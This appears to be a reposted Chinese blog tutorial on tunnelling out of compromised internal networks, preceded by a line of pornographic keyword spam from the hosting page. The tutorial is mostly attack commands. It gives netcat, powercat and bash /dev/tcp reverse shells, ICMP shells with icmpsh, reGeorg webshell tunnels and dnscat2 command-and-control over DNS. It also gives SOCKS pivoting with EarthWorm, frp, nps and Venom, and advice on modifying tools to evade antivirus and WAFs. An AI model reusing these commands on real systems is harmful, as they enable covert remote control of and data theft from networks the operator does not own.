日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

内网安全学习从入门到入狱-知识-内网隧道技术小结

發布時間:2024/1/1 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 内网安全学习从入门到入狱-知识-内网隧道技术小结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 0x00 內網穿透技術
  • 0x01 首先判斷出網協議
  • 0x02 各種協議隧道
  • 網絡層
    • ICMP隧道
    • Lcx
  • 傳輸層
    • 瑞士軍刀:nc
    • Powercat(powershell版的nc)
    • 推薦:netsh端口轉發(window平臺)
  • 應用層
    • SSH轉發:
    • SSH 本地轉發機制:
    • SSH 遠程轉發機制:
    • SSH 動態轉發機制:
    • HTTP HTTPS協議隧道
    • DNS 隧道:
    • Socks代理:
    • 推薦使用
    • Nps
    • ew
    • Frp
    • Venom
  • 0x03 總結

0x00 內網穿透技術

當我們拿到一臺內網主機后,一般都是有區域隔離的。

所以內網隧道技術,就是我們必須要掌握的。

我簡單介紹一下建立通信隧道,常見的有端口轉發等

主要隧道有:

ICMP TCP UDP

SSH HTTP DNS

SOCKS

0x01 首先判斷出網協議

icmp協議:

ping 命令 ping www.baidu.com

TCP協議:

curl www.baidu.com nc IP

HTTP協議:

curl ip:port curl www.baidu.com:80

DNS協議:

Nslookup www.baidu.com Dig www.baidu.com

0x02 各種協議隧道

網絡層

ICMP隧道

ICMP(Internet Control Message Protocol):沒有目的端口與源端口,屬于Internet控制報文協議。它是TCP/IP協議簇的一個子協議,用于在IP主機、路由器之間傳遞控制消息。控制消息是指網絡通不通、主機是否可達、路由是否可用等網絡本身的消息。

icmp隧道常用攻擊:icmpsh、PRISM

icmpsh
環境說明:跨平臺、不需要管理員運行

有三臺機器: VPS–邊界機–內網機

VPS操作過程:

下載icmpsh

安裝依賴

服務端禁用: icmp respones sysctl -w net.ipv4.icmp_echo_ignore_all=1運行程序 : ./run.sh輸入目標主機IP地址 開啟監聽: ./icmpsh_m,py vpsip 邊界出網的公網IP在邊界機執行: Imp.exe -t 攻擊機ip -d 500 -b 30 -s 128

還有一種方法

編譯 gcc icmpsh-m.cVPS開啟監聽: sudo ./a.out內網邊界主機:icmpsh.exe -t VPSip -d 500 -b 30 -s 128

Lcx

內網端口轉發

老工具了也是

目標主機:lcx.exe -slave vpsip 4444 127.0.0.1 3389VPS:Lcx --listen 4444 5555

傳輸層

瑞士軍刀:nc

nc 是一款比較老的工具,但是確實是經典俗稱瑞士軍刀,簡單介紹一下

簡單互相傳輸功能:

vps:nc -lp 5555 目標機器:Nc -vn vpsip 5555

文件傳輸功能:

vps:nc -lp 5555 >1.txt目標機器:Nc -vn vpsip < xx.txt

shell的反彈:

正向連接:nc -lvp 4444 -e /bin/shnc 192.168.1.1 4444反向連接:nc -lvp 4444nc 192.168.1.1 4444 -e /bin/sh

注意:windows版本CMD位置

C:\windows\system32\cmd.exe

Bash反向shell

nc -lvp 4444Bash -i >& /dev/tcp/192.168.1.1/4444 0>&1

Powercat(powershell版的nc)

正向和反向連接:powercat -l -p 8080 -e cmd.exe -v nc 192.168.1.1 8080 -vvnc -l -p 8080 -vv powercat -c 192.169.1.1 -p 8080 -e cmd.exe -v

可以反彈powershell

-eq

文件上傳

這個不用說,基本這種連接的都支持

在c:下新建一個test.txt的文件,寫入數據

在有text.txt的機器執行:

powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v

另一臺機器執行

powercat -l -p 9999 -of c:test.txt -v

推薦:netsh端口轉發(window平臺)

netsh僅支持TCP協議, 適用于雙網卡服務器

查看系統防火墻狀態 netsh firewall show state 查看現有規則 netsh interface portproxy show all 添加轉發規則 listenaddress – 等待連接的本地IP地址 listenport – 本地偵聽TCP端口 connectaddress – 將傳入連接重定向到本地或遠程IP地址(或DNS名稱)netsh interface portproxy set v4tov4 listenaddress=邊界機 listenport=6666 connectaddress=內網IP connectport=3389#連接邊界機6666端口,就是連接到內網目標上面的3389使用netstat確保6666端口當前處于被偵聽狀態: netstat -ano刪除轉發規則 netsh interface portproxy delete v4tov4 listenport=6666

應用層

SSH轉發:

一個正常的SSH命令

ssh root@192.168.1.1

SSH 本地轉發機制:

拓撲:

VPS----邊界WEB----目標主機

邊界WEB雙網卡192.168.1.1和10.1.1.1段

本地轉發機制:

選項:

-C 壓縮傳輸 -f 后臺啟用 -N 不打開遠程shell,處于等待狀態 -g 允許本地轉發端口

使用方法:

在VPS上運行

ssh -CfNg -L <vps port>:<目標主機 host>:<目標主機 port> <SSH 邊界機>ssh -CfNg -l 5555:10.1.1.1:3389 root@192.168.1.1 #VPS檢查---查看端口是否已經連接 netstat -tulnp | grep "5555"

當訪問 VPS 5555 端口的時候,就轉發給 root@192.168.1.1 邊界機 ,發送給目標主機

SSH 遠程轉發機制:

拓撲:

VPS----邊界WEB----目標主機

邊界WEB----目標主機—都是單網卡,都是純內網 10.1.1.1段

在WEB邊界機運行

ssh -CfNg -R <vps port>:<目標主機 host>:<目標主機 port> <SSH VPS主機>ssh -CfNg -l 6666:10.1.1.1:3389 root@49.121.1.102

邊界機把內網的端口,遠程連接道VPS,遠程轉發道VPS

SSH 動態轉發機制:

這里主要是建立一個動態的socks代理隧道

在VPS上運行

ssh -CfNg -D 7000 <SSH 邊界主機> ssh -CfNg -D 7000 root@192.168.1.1

VPS上7000端口上,開了一個socks代理,用代理軟件就可以連接

HTTP HTTPS協議隧道

  • reGeorg:
  • 將對應的腳本文件上傳到目標服務器,根據不同的網站類型php jsp asp等,上傳對應的腳本 reGeorg.php

    攻擊機(VPS)運行:

    python reGeorgSocksProxy.py -l 46.46.46.46(VPS的IP) -p 666(VPS端口) -u http://(目標服務器IP)/reGeorg.php

    然后在本地通過代理工具鏈接本地的666,就是鏈接好隧道了

    注意:這個查殺比較嚴重,建議會免殺的修改修改。

    非常遺憾的是,目前大部分WAF都會針對默認原裝版本的reGeorg 。(可以自己修改后使用)

    2.Neo-reGeorg

    這里推薦用 Neo-reGeorg 這個也不錯,是重構reGeorg 的一個作品

    https://github.com/L-codes/Neo-reGeorg

    用法類似:

    VPS上支持生成的服務端,默認 GET 請求響應指定的頁面內容 (如偽裝的404頁面)

    $ python neoreg.py generate -k <you_password> --file 404.html

    將相應的隧道文件放到目標服務器的web目錄后使用neoreg連接web服務器并建立本地socks代理。

    VPS上運行

    $ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080(本地代理地址)

    Socks連接工具連接本地127.0.0.1:1080

    DNS 隧道:

    dnscat2

    工具dnscat2,這是一DNS隧道,該工具旨在通過DNS協議創建加密的命令和控制(C&C)通道,還有自己的控制臺

    dnscat2分為兩個部分:客戶端和服務器。

    服務端為Ruby編寫,需安裝Ruby環境。kali系統內置Ruby,但是運行時仍可能報缺少一些gem依賴:

    服務端VPS:

    安裝依賴: apt install gem apt install ruby-dev apt install libpq-dev apt install ruby-bundler下載并安裝: git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server sudo gem install bundler開啟服務: ruby ./dnscat2.rb vpn.zeo.com -e open

    目標主機客戶端:

    上傳dnsClient.zip 到目標主機 解壓

    ./dnscat --dns server=服務端ip,port=53 --secret=服務端生成的秘鑰

    直連模式使用方法:

    VPS中 server路徑下: ruby ./dnscat2客戶端:(這個命令會在 上面服務啟動后提示,可以參考下面的截圖紅框) ./dnscat --dns server=x.x.x.x,port=53 --secret=281fc7a7ec57d500d269c96b8ae36ba5

    常用命令: window -i 1 進入交互 exec -c "ping baidu.com" 執行命令, 無回顯 shell 返回一個半交互shell,會有一個id,記錄此id ctrl+Z 返回

    Socks代理:

    下面基本上都是可以支持多種協議,之介紹scoks的情況,大家可以自己查看使用方法

    也推薦使用這些工具

    nps: https://github.com/ehang-io/nps

    **ew:**https://github.com/idlefire/ew

    frp: https://github.com/fatedier/frp

    推薦使用

    Nps

    nps是一款輕量級、高性能、功能強大的內網穿透代理服務器。

    (https://github.com/ehang-io/nps)

    優點:

    • 協議支持全面,兼容幾乎所有常用協議,例如tcp、udp、http(s)、socks5、p2p、http代理…
    • 全平臺兼容(linux、windows、macos、群輝等),支持一鍵安裝為系統服務
    • 操作簡單,只需簡單的配置即可在web ui上完成其余操作
    • 展示信息全面,流量、系統信息、即時帶寬、客戶端版本等
    • 擴展功能強大,該有的都有了(緩存、壓縮、加密、流量限制、帶寬限制、端口復用等等)

    環境說明:

    kali邊界機: 192.168.5.123 192.168.3.2
    kali2: 192.168.5.128 攻擊者vps機器
    win7:192.168.3.99 內網機器

    1 啟動服務端

    vim ./conf/nps.conf cd .. ./nps. #啟動服務

    在服務端配置conf/nps.conf文件,修改用戶名密碼,端口號后啟動服務,最好不要和已有的端口沖突

    默認端口 nps默認配置文件使用了80,443,8080,8024端口80與443端口為域名解析模式默認端口8080為web管理訪問端口8024為網橋端口,用于客戶端與服務器通信以上都可以在服務端配置conf/nps.conf 自行修改

    直接訪問自己設計的web端口 http://IP:8081/login/index

    友好的操作界面!

    2 新增一個客戶端,在配置中填寫socks代理的密碼

    3 記住唯一驗證密鑰和ID,連接使用

    4 客戶端連接,上傳npc到邊界機

    npc.exe -server=服務端ip:8024 -vkey=生成的vkey -type=tcp

    成功上線,點擊隧道配置代理

    新建隧道,協議很全


    這個界面十分友好,就不繼續介紹,基本看一眼就會用了。

    ew

    EarthWorm是一款用于開啟 SOCKS v5 代理服務的工具,可以用于多層的內網穿透

    多層內網穿透可以去GitHub查找

    VPS開啟監聽: ./ew_for_linux64 -s rcsocks -l 1080 -e 1024邊界機執行: ew_for_Win.exe -s rssocks -d 攻擊Ip -e 1024

    多層內網二層網絡,A無外網 IP–vps 流量轉發 +B 正向代理 +A作為跳板端口綁定

    VPS–邊界機(可以出網)–內網機(目標網絡內部主機,無法訪問公網)

    VPS: ./ew -s lcx_listen -l 1080 -e 8888 邊界機器: ew -s lcx_slave -d VPS_IP -e 666 -f 內網主機 -g 9999 內網: ew -s sscoksd -l 9999

    VPS將1080的代理請求轉發到8888

    在邊界機上,通過工具的 lcx_slave 方式,打通VPS:8888 和 內網機:9999 之間的通訊隧道

    在內網主機上利用 ssocksd 方式啟動 9999 代理

    我們是可通過訪問VPS:1080 來使用內網主機提供的 socks5 代理

    Frp

    • frp 是一個可用于內網穿透的高性能的反向代理應用
    • 支持 tcp, udp 協議,為 http 和 https

    frpsfrps.ini 放到具有公網 IP 的機器上。

    frpcfrpc.ini 放到處于內網環境的機器上。

    首先在vps上啟動frp服務端,開啟一個端口,默認是7000:

    ./frps -c frps.ini

    再配置frp的客戶端:

  • 修改 frpc.ini 文件,假設 frps 所在服務器的公網 IP 為 x.x.x.x:
  • [common] server_addr = x.x.x.x server_port = 7000[socks5] type = tcp remote_port = 8881 plugin = socks5 plugin_user = root plugin_passwd = root use_encryption = true use_compression = true

    注意:上面的配置了用戶名密碼 root root 代理的時候注意要加上

    最后兩個配置是 use_encryption = true \\啟用加密 use_compression = true \\啟用壓縮

    啟動 frpc:

    frpc.exe -c ./frpc.ini

    最后,使用代理軟件連接服務端的8881建立連接

    Venom

    Venom是一款為滲透測試人員設計的使用Go開發的多級代理工具

    admin節點和agent節點均可監聽連接也可發起連接,可以互相的連接。

    admin監聽端口,agent發起連接:

    ./admin_linux_x64 -lport 8838agent.exe -rhost VPS_IP -rport 8838

    連接成功后出現交互界面 admin node help一下看到功能

    help Help information.exit Exit.show Display network topology.getdes View description of the target node.setdes [info] Add a description to the target node.goto [id] Select id as the target node.listen [lport] Listen on a port on the target node.connect [rhost] [rport] Connect to a new node through the target node.sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.shell Start an interactive shell on the target node.upload [local_file] [remote_file] Upload files to the target node.download [remote_file] [local_file] Download files from the target node.socks [lport] Start a socks5 server.lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.rforward [rhost] [sport] [dport] Forward a remote sport to a local dport. 先show 看下拓撲 goto 1 #選擇目標1 socks 8886 #在vps上 8886端口上開啟代理

    有意思的是這個還能出一個shell,也挺方便

    0x03 總結

    內網穿透的東西還是比較重要的,內網斷網機常常都得用隧道,所以小結一下,選擇的時候最好要有較好的穩定性,支持多種協議,流量可加密,推薦使用最后推薦的幾種工具,如果只是端口轉發推薦netsh和SSH轉發較為穩定。

    總結

    以上是生活随笔為你收集整理的内网安全学习从入门到入狱-知识-内网隧道技术小结的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。